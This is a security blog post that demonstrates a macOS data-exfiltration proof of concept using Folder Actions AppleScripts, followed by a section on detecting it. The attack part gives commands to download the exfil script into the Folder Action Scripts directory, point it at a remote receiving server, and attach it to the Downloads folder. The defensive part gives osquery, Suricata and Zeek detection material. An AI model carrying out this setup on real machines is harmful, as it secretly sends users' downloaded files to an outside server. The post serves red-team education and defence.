This blog post is going to demonstrate a proof of concept (PoC) to exfiltrate data from macOS with a built-in functionality called Folder Actions. The Folder Actions functionality triggers Applescripts to execute code when certain conditions (creating files, deleting files, etc.) occur by interactions with Finder. This functionality provides a method to exfiltrate data without the need for a shell to execute the actions. The Applescript provided below will utilize this functionality to monitor for new files in the user’s Download folder and, upon detection of a new file, exfiltrate a copy of the file to a remote server.
DISCLAIMER
The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises.
DISCLAIMER
Background
What is Applescript?
Applescript is Apple’s equivalent to Powershell for Microsoft Windows. Applescript is a scripting language that empowers a user to interact with the macOS operating system. Recently, a new blog post came out by SentinelOne demonstrating how to call macOS API calls from Applescript.
What is a folder action?
Folder Actions is a feature of macOS that lets you associate AppleScript scripts with folders. A Folder Action script is executed when the folder to which it is attached has items added or removed or when its window is opened, closed, moved or resized. The script provides a handler that matches the appropriate format for the action.
How does it work?
On macOS, there is a directory at the file path of /Library/Scripts/Folder Action Scripts
that will run Applescripts based on different interactions with Finder. For example, there is a script that will generate an alert when a new item is added to a directory or the ability to rotate an image. The script in this blog post instructs Finder to let us know when a new file is added to the directory of our choosing, which is the user’s Download folder. When a new item is detected, this script will rotate through the new files and extract the file path of the new item.
However, macOS has its own convention for file paths which looks like macOS HDD:Users:thunderwagon:Downloads:Undergrad_Application.pdf
. Curl does not understand how to interpret this, therefore it will throw an error. To overcome this, the script instructs Applescript to convert the macOS file path to a POSIX file path so it renders as /Users/thunderwagon/Downloads/Undergrad_Application.pdf
. Next, our script iterates through all the file extensions in the list provided at the top and checks if the new file has an extension in our pre-defined list. If a file extension matches one in our pre-defined list, it will make a curl POST request to our Python simple server with the contents of the new file as the payload.
The code provided below and within the GitHub repo is a derivative of the actual PoC to prevent weaponization.
Setting up Python Simple Server
git clone https://github.com/CptOfEvilMinions/BlogProjects.git
cd BlogProjects/red_teaming_macos/download_exfiltrator/python_server
python3 run_server.py
Planting the exfil script on macOS
Since this script can be used for nefarious activity, I will not be demonstrating any methods to automate enabling this script from the command line. This section will demonstrate how to place this script in the proper location with the terminal but will use the GUI to enable our script. Additionally, the code provided by the GitHub repo is a derivative of the actual PoC to prevent weaponization.
- Open a terminal
sudo curl https://raw.githubusercontent.com/CptOfEvilMinions/BlogProjects/master/red_teaming_macos/download_exfiltrator/exfil_automater.scpt -o /Library/Scripts/Folder Action Scripts/exfil_automator.scpt
sudo sed -i 's/<server_ip_addr>/<IP address of server running Python simple server>/g' /Library/Scripts/Folder Action Scripts/exfil_automator.scpt
sudo sed -i 's/<server_port>/<Prt of server running Python simple server>/g' /Library/Scripts/Folder Action Scripts/exfil_automator.scpt
- Open Finder
- Browse to the user’s directory
- Hold down the “Control” key and right-click the “Downloads” folder
- Services > Folder Actions setup
- Select “Run Service” on the dialogue that pops up
- Select “exfil_automator” and then “Attach”
- Check “Enable Folder Actions”
- Select “No” for “Would you like to run enabled folder actions on unprocessed files?”
- Select “Ok” for “FolderActionsDispatcher.app” would like to access files in your Downloads folder.
Testing exfil script
Download a test file
- Open a web browser to “google.com”
- Enter “filetype pdf” and download a PDF
- Select “Ok” for “FolderActionsDispatcher.app“ wants access to control “Finder.app“. Allowing control will provide access to documents and data in “Finder.app“, and to perform actions within that app.
Prevention and detections
User permissions
The principle of least privilege is the biggest deterrent against this technique. This technique requires administrative privileges to copy the script into the Folder Actions directory and to enable the service to run this script.
Osquery
Process monitoring
I set up process monitoring on macOS with Osquery by following the instructions on this page. Unfortunately, the osascript
and curl
processes had a blank parent
field, meaning we don’t “know” the parent process. However, we can monitor process events using curl or the scripts being executed by osascript from the /Library/Scripts/Folder Action Scripts
directory.
SELECT p.name,p.pid,p.parent,u.username,p.cmdline FROM processes as p JOIN users as u WHERE parent like (SELECT pid FROM processes where name="Finder") AND p.uid=u.uid;
Creation and modification date
With Osquery we can query the following directory /Library/Scripts/Folder Action Scripts
for recent modifications.
SELECT f.path, datetime(f.mtime,'unixepoch') AS file_last_modified_time, datetime(f.ctime,'unixepoch') AS file_last_status_change_time, datetime(f.btime,'unixepoch') AS file_created_time, ROUND((f.size * 10e-7),4) AS size_megabytes FROM file f LEFT JOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path like "/Library/Scripts/Folder Action Scripts/%";
Network monitoring
Suricata
Suriacata can monitor the network and has the ability to detect data being exfiltrated via HTTP or TCP. The rule below will detect any traffic that is initated from the internal network to an external resource and when the payload matches file signatures for “.docx”, “.pdf”, or “.xlsx”.
// Detect possible exfiltration of .pdf document alert tcp any any -> any any (msg:"Possible exfiltration of .pdf document"; flow:established,to_server; content:"|25 50 44 46 2D|"; sid:1;) // Detect possible exfiltration of Microsoft office documents alert tcp any any -> any any (msg:"Possible exfiltration of Microsoft office documents"; flow:established,to_server; content:"|D0 CF 11 E0|"; sid:2;)
Zeek
Zeek can monitor the network and has the ability to monitor different protocols such as TCP and HTTP. The Zeek http.log
has the source_ip, destionation_ip, URI, mime type, and a timestamp for the event.
Decompile Applescript binary
The output of Script Editor is Applescript compiled and it is the only format accepted by the Folder Actions functionality. Thankfully, Apple provides the ability to decompile this compiled binary back to its source code.
file <file path to Applescript binary>
osadecompile <file path to Applescript binary>
DISCLAIMER
The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises.
DISCLAIMER
References
- Folder Actions Reference
- Applescript: adding a IF-THEN by file extension?
- Watching Folders
- Github – SimpleHTTPserver
- Image
- AppleScript and POSIX paths
- Reading AppleScript source code with osadecompile
- The file table in osquery is amazing!
- Suricata – 6.12. HTTP Keywords
- Process and socket auditing with osquery
- Hex File Headers and Regex for Forensics
- Suricata – Payload Keywords
- PCAP file